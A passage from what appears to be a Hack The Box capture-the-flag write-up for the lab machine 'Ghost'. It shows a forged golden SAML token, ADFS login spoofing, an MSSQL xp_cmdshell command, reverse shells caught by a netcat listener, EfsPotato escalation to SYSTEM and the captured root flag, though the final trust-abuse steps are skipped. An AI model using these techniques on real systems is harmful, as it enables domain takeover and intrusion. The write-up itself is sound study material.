mljdGlvbj48QXVkaWVuY2U%2BaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzPC9BdWRpZW5jZT48L0F1ZGllbmNlUmVzdHJpY3Rpb24%2BPC9Db25kaXRpb25zPjxBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF0dHJpYnV0ZSBOYW1lPSJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy91cG4iPjxBdHRyaWJ1dGVWYWx1ZT5BZG1pbmlzdHJhdG9yQGdob3N0Lmh0YjwvQXR0cmlidXRlVmFsdWU%2BPC9BdHRyaWJ1dGU%2BPEF0dHJpYnV0ZSBOYW1lPSJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy9jbGFpbXMvQ29tbW9uTmFtZSI%2BPEF0dHJpYnV0ZVZhbHVlPkFkbWluaXN0cmF0b3I8L0F0dHJpYnV0ZVZhbHVlPjwvQXR0cmlidXRlPjwvQXR0cmlidXRlU3RhdGVtZW50PjxBdXRoblN0YXRlbWVudCBBdXRobkluc3RhbnQ9IjIwMjUtMDQtMDRUMDk6MDQ6NTcuNTAwWiIgU2Vzc2lvbkluZGV4PSJfSkZPSzlUIj48QXV0aG5Db250ZXh0PjxBdXRobkNvbnRleHRDbGFzc1JlZj51cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YWM6Y2xhc3NlczpQYXNzd29yZFByb3RlY3RlZFRyYW5zcG9ydDwvQXV0aG5Db250ZXh0Q2xhc3NSZWY%2BPC9BdXRobkNvbnRleHQ%2BPC9BdXRoblN0YXRlbWVudD48L0Fzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPg%3D%3D
NOTE: I ran into a LOT of issues when trying to run ADFSpoof because of packages and dependancies issues especially because of lxml, signxml and cryptography libraries. I referred to this stackoverflow discussion for help.
And now we can spoof authentication mechanisms of the http://core.ghost.htb:8443/ subdomain previously discovered on our initial recon using our golden SAML:
ADFS
Now we will add the application/x-www-form-urlencodedContent-Type header alongside our SAMLRESPONSE header and we’ll get the link to our federation so we could login:
ADFS
And now we have a valid login using our crafted Golden SAML token. All we have to do now is right click on burpsuite Request in browser => In original session and we’ll be logged in:
ADFS
MSSQL Command injection
We can see that we can execute SQL queries:
MSSQL
So I instantly went ahead to test the usual MSSQL command injection by trying to enable xp_cmdshell (I spoke about this in a previous writeup):
1
EXECUTE('EXECUTE AS LOGIN = ''sa'' EXEC SP_CONFIGURE ''show advanced options'', 1;reconfigure;EXEC SP_CONFIGURE ''xp_cmdshell'' , 1;reconfigure;exec xp_cmdshell ''whoami''') AT "PRIMARY"
MSSQL
So I tried to get a reverse shell using the Invoke-PowershellTCP.ps1 reverse shell script:
┌──(kaliă‰¿kali)-[~/Hackthebox/GHost] └─$ nc -lnvp 9001 listening on [any] 9001 ... connect to [10.10.16.25] from (UNKNOWN) [10.129.231.105] 49844 Windows PowerShell running as user MSSQLSERVER on PRIMARY Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32>whoami nt service\mssqlserver
Checking our privileges we can see we have SeImpersonatePrivilege enabled, which allows a process to impersonate another user or process:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeMachineAccountPrivilege Add workstations to domain Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled PS C:\Windows\system32>
We can abuse that using EfsPotato . We can quickly compile it on the target system using this command:
PS C:\temp> ./efs.exe 'whoami' Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability). Part of GMH's fuck Tools, Code By zcgonvh. CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net] [+] Current user: NT Service\MSSQLSERVER [+] Pipe: \pipe\lsarpc [!] binding ok (handle=1a339b90) [+] Get Token: 888 [!] process with pid: 3408 created. ============================== nt authority\system
Now simply let’s get a reverse shell as nt authority\system using netcat:
┌──(kaliă‰¿kali)-[~/Hackthebox/GHost] └─$ rlwrap nc -lvnp9001 listening on [any] 9001 ... connect to [10.10.16.25] from (UNKNOWN) [10.129.231.105] 49799 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\temp> whoami whoami nt authority\system
Domain Trust Abuse
However, going into the administrator desktop we don’t find a flag:
1 2 3
PS C:\users\administrator\desktop> ls ls PS C:\users\administrator\desktop>
Which suggests that this is still not over. We can recall that earlier when checking BloodHound, we saw that there was a trust relationship between ghost.htb and corp.ghost.htb:
Trust
Now since we are admins of the DC of ghost.htb, we can dump the domain trust keys and abuse that. Let’s first disable AV:
PS C:\users\administrator\desktop> type \\DC01.ghost.htb\c$\users\administrator\desktop\root.txt type \\DC01.ghost.htb\c$\users\administrator\desktop\root.txt d74463e00bbe6318b1fc2b3573a3c6e4 PS C:\users\administrator\desktop>
That was it for Ghost, hope you learned something new! -0xkujen